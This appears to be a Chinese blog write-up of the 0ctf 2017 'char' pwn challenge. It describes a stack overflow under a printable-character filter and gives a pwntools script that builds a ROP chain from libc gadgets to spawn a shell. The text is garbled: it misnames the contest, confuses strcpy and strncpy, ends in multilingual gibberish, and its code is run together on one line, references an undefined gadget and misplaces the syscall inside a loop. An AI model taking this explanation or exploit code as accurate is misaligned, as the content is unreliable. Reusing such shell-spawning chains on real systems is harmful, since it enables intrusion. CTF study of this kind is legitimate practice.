0ctf-2017-pwn-char 题解
发布日期:2021-05-15 04:19:07 浏览次数:19 分类:精选文章

本文共 2045 字,大约阅读时间需要 6 分钟。

文件信息

本文描述的是2017年OWRF(Open Web Roots Forum)的一道pwn题。该题目部署时需要将特定的库文件放在/home/char/目录下,具体路径可以通过伪C代码中的注释获取。

该题目针对的是一个32位小端程序,具备NX(No Execute)保护机制,意味着内存区域常驻部分无法被代码执行,因此必须采用return-oriented programming(ROP)来利用栈上的函数返回地址。

漏洞定位

程序的main功能首先读取2400个字符的输入,但需要注意,scanf函数对空格、回车、换行符等符号的处理有限,这影响了后续构造ROP链的十六进制分解方式。接下来,libc.so库被固定映射到地址0x5555E000,这一固定的位置为后续的利用提供了可靠的跳板。

在漏洞检测部分,程序对输入字符进行严格限制,限定字符的范围在31 ≤ char ≤ 126之间。这种限制在后续的ROP链构造中产生了不少难题,因为大多数gadget地址的十六进制表示中含有空格和超标字符,无法通过常规方式构造。

最终,程序在栈溢出点上存在明显的利用途径,具体表现在输入字符复制到栈空间时,返回地址被覆盖。值得注意的是,scanf函数对空字符'\x00'进行处理,而strcpy函数则会将字符复制直到遇到空字符终止,这一点在后续的栈迁移利用中起到关键作用。

利用分析

由于NX保护机制的限制,这道题目不适合直接使用ret2libc的方式获取shell,而是需要通过巧妙的栈迁移时代入syscall或其他函数来调用相关系统函数。

由于systemexecve函数地址中包含不允许被检查的十六进制字符,这些函数无法通过常规方式被调用。因此,需要进入更深入的密码学分析,寻找其他可利用的gadget。

在分析核心gadget时发现,strcpy函数的行为能够为栈迁移提供特定的gadget链,特别是在遇到空字符时,ecx寄存器会被设置为某个特定值,可以实现栈空间的迁移。

方法论

本文中采用的是基于strncpy函数的栈迁移方式,具体步骤如下:

  • 栈迁移: 利用strncpy函数返回站后,ecx寄存器会被设置为源字符串地址的一个特定偏移值。这个偏移量可以通过动态调试确定。

  • 零字符处理: 在字符串中插入一个空字符,可以利用这个点来构建所需的gadget链。由于strcpy会截断在空字符处,后续的构造不可依赖常规的十六进制分解。

  • 不直接调用: 需要间接调用syscall或其他函数,避免直接构造被检查的十六进制地址。

  • 实现细节

    payload构造:

    from pwn import *context.log_level = "debug"p = process("./char")base = 0x5555e000sh_addr = 0x15D7ECpop_ebx_ret = 0x0001934pop_ecx_add_al_0xa_ret = 0x00174a51pop_edx_xor_eax_pop_edi_ret = 0x00095555inc_eax_ret = 0x00168864int_0x80 = 0x00109176xchg_eax_esp_retb = 0xe6d62cyclic_buffer = cyclic(0x1c)payload = cyclic_bufferpayload += p32(pop_eax_ecx_ret + base)payload += p32(xchg_eax_esp_retb + base)payload += b'\x00' * 3payload += p32(pop_ebx_ret + base) + p32(sh_addr + base)payload += p32(pop_ecx_add_al_0xa_ret + base) + p32(0)payload += p32(pop_edx_xor_eax_pop_edi_ret + base) + p32(0) + p32(0)for _ in range(0xb):    payload += p32(inc_eax_ret + base)    payload += p32(int_0x80 + base)p.sendline(payload)p.interactive()

    代码解释:

    • Base Address: 定义了libc.so的基址0x5555e000/bin/sh的地址0x15D7EC
    • Gadget Addresses: 定义了必要的gadget地址和偏移量。
    • Payload Construction: 通过循环构造字符串,插入零字符以绕过字符检查,将控制权移至/bin/sh的地址上。

    总结

    本题考察了учасownik的事務oggles以及揣摩gadget的能力,通過巧妙的栈迁移和字符串处理,數位世界中也定X Journey///

    上一篇:Openctf-2016-pwn-apprentice_www 题解
    下一篇:ret2text失败--记录一次简单的栈溢出

    发表评论

    最新留言

    做的很好,不错不错
    [***.243.131.199]2025年05月10日 05时27分22秒